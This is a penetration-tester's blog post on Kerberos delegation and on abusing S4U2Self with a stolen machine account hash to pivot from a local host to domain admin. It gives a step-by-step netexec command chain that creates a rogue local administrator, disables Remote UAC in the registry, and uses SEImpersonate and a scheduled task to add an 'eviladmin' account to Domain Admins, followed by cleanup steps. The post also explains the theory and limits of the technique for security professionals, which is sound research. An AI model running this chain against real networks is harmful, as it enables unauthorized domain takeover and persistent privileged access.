Abusing S4U2Self for Active Directory pivoting

TL;DR

If you only have access to a valid machine hash, you can leverage the Kerberos S4U2Self proxy for local privilege escalation, which allows reopening and expanding potential local-to-domain pivoting paths, such as SEImpersonate!

Introduction

What is Kerberos?

Kerberos is a ticket-based authentication protocol that enables secure communication in untrusted environments by first establishing mutual trust through a mutual third party. As a result, Kerberos requires three parties:

Client: The user or system requesting access to a resource.
Server: The destination resource the client wants to access.
Key Distribution Center (KDC): A trusted third party responsible for authenticating users and issuing tickets.

The key reason for this approach to authentication is to minimize the need to send passwords over the network, reducing the risk of credential theft.

The ticketing process

Throughout the Kerberos authentication process, services are referred to by their SPN, or Service Principal Name. Thus, the ticket generation process is as follows:

Authentication Service Request: The client sends an authentication request encrypted with its password to the KDC.
Authentication Service Response: If the KDC can decrypt the request with the user’s password, the client has proven their identity. The KDC then responds with a Ticket-Granting-Ticket (TGT), encrypted with the KDC’s secret key.
Ticket-Granting-Ticket Request: The client will pass the TGT back to the KDC requesting access to a destination service.
Ticket-Granting-Ticket Response: If the KDC can decrypt the TGT, it proves the client presented a valid TGT, as no other entity has access to the KDC’s secret key. The KDC then responds with a Service Ticket (ST), encrypted with the destination service’s password.
Service Ticket Request: The client passes the ST to the destination service, requesting access. If the destination service can decrypt the service ticket, it proves the ticket is valid, as only the KDC and the service itself should possess the service’s password.

Pasted image 20250507180525.png

Through the trusted intermediary - the KDC - the client and destination service can establish trust, relying on the assumption that only the KDC possesses the secret credentials.

Kerberos delegation - the double-hop problem

Because of how Kerberos tickets work, servers have no means of forwarding client credentials to other resources, as they only have the service ticket encrypted with their own password. This is known as the Kerberos Double-Hop Problem.

Pasted image 20241122200224.png

To solve this, Microsoft introduced Delegation, a feature that allows servers to forward client credentials to another service, enabling the second service to authenticate the client on behalf of the first server. Today, there are three forms of Kerberos delegation:

Unconstrained Delegation: Unconstrained was the first form of delegation. When a client authenticates to a server configured with unconstrained delegation, the client will also pass their TGT alongside their ST allowing the destination to reuse the TGT to authenticate as that user to the next resource.
Constrained Delegation: Unconstrained delegation had major security implications, and to mitigate the risks associated with compromising a host configured with this form of delegation, constrained delegation restricts the ability to delegate to a specified Service Principal Name (SPN) on a specified destination. This form of delegation also introduced two proxies to eliminate TGT forwarding: S4U2Self and S4U2Proxy.
Resource-Based Constrained Delegation: Resource-based constrained delegation is very similar to constrained delegation, with the primary difference being that the delegation can be assigned only to systems (resources) themselves, rather than the services that interact with them.

Analyzing S4U2Self

Referring back to constrained delegation, S4U2Self and S4U2Proxy are meant to prevent TGT forwarding while still allowing for the generation of valid service tickets on behalf of another user. In detail, S4U2Self performs the impersonation, while S4U2Proxy handles the ticket generation, but only if constrained delegation is enabled on the requesting resource.

However, unlike S4U2Proxy, S4U2Self does not require constrained delegation to be configured in order to perform the impersonation process. This means that if an attacker can obtain a machine account hash, they can generate their own TGT via the overpass-the-hash attack and request a service ticket to authenticate as any valid domain user without knowing their password. The only caveat is that impersonation is limited to the resource tied to the machine account that was compromised.

That’s where the core question of this blog emerges: if an attacker only has a machine hash, how can they pivot from the local system up to the Active Directory domain primarily using S4U2Self?

S4U2Self limitations

There were many trials and errors during the research period of this project! Before discussing the one promising vector I discovered while working on this, I do want to first discuss what didn’t work as I believe it’s just as important!

Each of the following required generating a service ticket via S4U2Self to impersonate the domain administrator on a host that does not have constrained delegation configured.

Kerberos issues and protections:

If we authenticate to a resource via Kerberos, we cannot pivot without delegation. This limitation impacts anything that excludes the compromised host. Here are some errors that emerged after attempting to pivot to the domain controller.

Pasted image 20250507183659.png Pasted image 20250315222922.png

To simulate pivoting and harvesting hashes from other users, all RPC-based passback attacks currently return machine account hashes, similar to traditional RPC coercion techniques.

When performing the net use passback, the following screenshots show that the NTLMv2-SSP hash is derived from the machine account, not the domain administrator user, so attempting to recover the domain administrator’s hash this way is not viable.

Pasted image 20250507183439.png

Pasted image 20250411150001.png

Pasted image 20250507183843.png

Interestingly, forced authentication files (e.g., .url, .scf, etc.) no longer appear to work. It should be mentioned that this was only observed on a single, fully updated Windows 11 host, so results may vary.

Furthermore, we cannot access the victim via RDP because of Microsoft Credential Guard, which prohibits pass-the-hash and pass-the-ticket attacks. To RDP with Kerberos, many tools require a Ticket Granting Ticket to work, not a Service Ticket. In our case, the tickets forged with S4U2Self fall under pass-the-ticket.

Pasted image 20250410112933.png

So, unsurprisingly, if we want to pivot, we must leverage local privileges first! :)

Obtaining machine hashes

Obtaining machine accounts can be a relatively trivial task depending on the configuration of an Active Directory domain. While the acquisition of machine hashes is not the primary focus of this writeup, it can be achieved if an attacker obtains administrative credentials over a computer, enabling them to dump the SAM, SYSTEM, and SECURITY registry hives.

While not an exhaustive list in the slightest, some ways this can be done include:

Acquisition	Action
Overprivileged accounts	Dump registry
Weak local admin password	Dump registry
Non-admin has SEBackupPrivilege	Dump registry
Compromised backups	Dump registry
NTLMv1 auth + coercion	Pass-the-hash, Dump registry

And the list goes on!

Using S4U2Self to widen SEImpersonate attack vectors

If it’s not possible to pivot to other hosts due to the Kerberos double-hop problem, what can be done? Another method of pivoting from local admin to domain admin is through abusing the SEImpersonatePrivilege attribute commonly assigned to local administrative users.

However, the primary mitigation to this vector is disabling the local administrator account, leading to the common assumption that if an attacker cannot log in as local admin, this path is no longer viable.

While true, if you have access to a machine account hash, it’s possible to utilize S4U2Self to reopen this path. Using this, we can generate a ticket impersonating the domain administrator user and can either re-enable the local administrator user and change its password, or create a local administrator that we control.

The latter is much preferred from a penetration testing perspective, as it’s easier to create and clean up a new user rather than modify existing ones. However, it should be noted this path doesn’t immediately work because of a feature called Remote UAC. Because we have administrative permissions, we can simply modify that feature in the registry before continuing! Here’s how this is done:

1. Pass-the-hash with local administrator, proof this user is disabled

nxc smb testpc -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth

Pasted image 20250411163801.png

2. S4U2Self with the machine hash to impersonate the domain administrator

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self

Pasted image 20250411163834.png

3. Create new local administrator user (fakeadmin)

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'powershell.exe net user fakeadmin Password12345 /add ; net localgroup administrators fakeadmin /add'

Pasted image 20250411171645.png

4. Disable Remote UAC via the registry

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f'

Pasted image 20250411171836.png

5. Check for domain administrator sessions (where logon_server is the domain controller)

nxc smb testpc -u 'fakeadmin' -p 'Password12345' --local-auth --loggedon-users

Pasted image 20250508124314.png

6. SEImpersonate the domain administrator and create eviladmin user. Add them to the Domain Admins group

nxc smb testpc -u 'fakeadmin' -p 'Password12345' --local-auth -M schtask_as -o USER='TEST\administrator' CMD="powershell.exe \"Invoke-Command -ComputerName TESTDC -ScriptBlock { \$password = ConvertTo-SecureString -String 'Password123' -AsPlainText -Force; New-ADUser -Name 'eviladmin' -SamAccountName 'eviladmin' -UserPrincipalName '[email protected]' -Enabled \$true -AccountPassword \$password; Add-ADGroupMember -Identity 'Domain Admins' -Members 'eviladmin'}\""

Pasted image 20250508124617.png

7. Full domain compromise! (test.local domain has two systems)

nxc smb <network_cidr> -u 'eviladmin' -p 'Password123'

Pasted image 20250508124650.png

8. Cleanup: re-enable Remote UAC via the registry

Pasted image 20250411171943.png

9. Remove fakeadmin user

nxc smb testpc.test.local -u 'TESTPC$' -H 'aad3b435b51404eeaad3b435b51404ee:e4c750ef674036f0b4dbe10d59e3c4e3' --delegate administrator --self -x 'net user fakeadmin /delete'

Pasted image 20250411172003.png

Limitations and impracticalities

While this doesn’t introduce substantial new research into S4U2Self or the SEImpersonate abuse path, it does bring attention to a lesser-discussed abuse vector. Specifically, techniques for reenabling methods of pivoting to the domain even after certain local mitigations are enforced.

That said, this path is relatively impractical, primarily due to the methods required to obtain machine account hashes. The core prerequisite of this technique is acquiring the NTLM hash of a machine account, which typically requires elevated privileges to dump from the registry.

Redundant privileges: If the local administrator user is disabled, since elevated permissions to dump the registry have already been acquired, using S4U2Self isn’t necessary to re-enable or create a new local admin user.

Volatile machine passwords: Additionally, domain-joined Windows machines rotate their computer account passwords every 30 days. So if a machine hash is acquired from an outdated backup, there’s a high likelihood that pass-the-hash attempts will fail.

Requires existing sessions: The SEImpersonate path also has limitations. Since it depends on impersonating domain-attached users (preferably domain admins), it does require they are active on the host in some regard.

To visualize this further, here’s a list of the potentially viable uses for S4U2Self after obtaining machine hashes:

Acquisition	S4U2Self Applicability
Overprivileged domain user	❌ Creating a new local admin and SEImpersonate abuse can be done with this user instead.
Weak local admin password	❌ Local admin privileges have been obtained! Proceed to SEImpersonate abuse.
Non-admin has SEBackupPrivilege	✅ Could come in handy if local admin is disabled!
Compromised backups	✅ Could come in handy if local admin is disabled and if the backup is recent enough that the machine password has not changed!
NTLMv1 auth + coercion	❌ If you can successfully pull this off, just do it to the domain controller instead!

In short, this method is only useful if you have a valid (non-rotated) machine account hash, if the local administrator account is disabled, and if a domain administrator is active on the compromised host.

As unlikely as it may seem, I’ve encountered multiple instances during pentest engagements where local pivoting via SEImpersonate resulted in full domain compromise. This path simply increases the likelihood of these local pivoting attacks actually succeeding, as we can essentially “widen the net” using S4U2Self. :)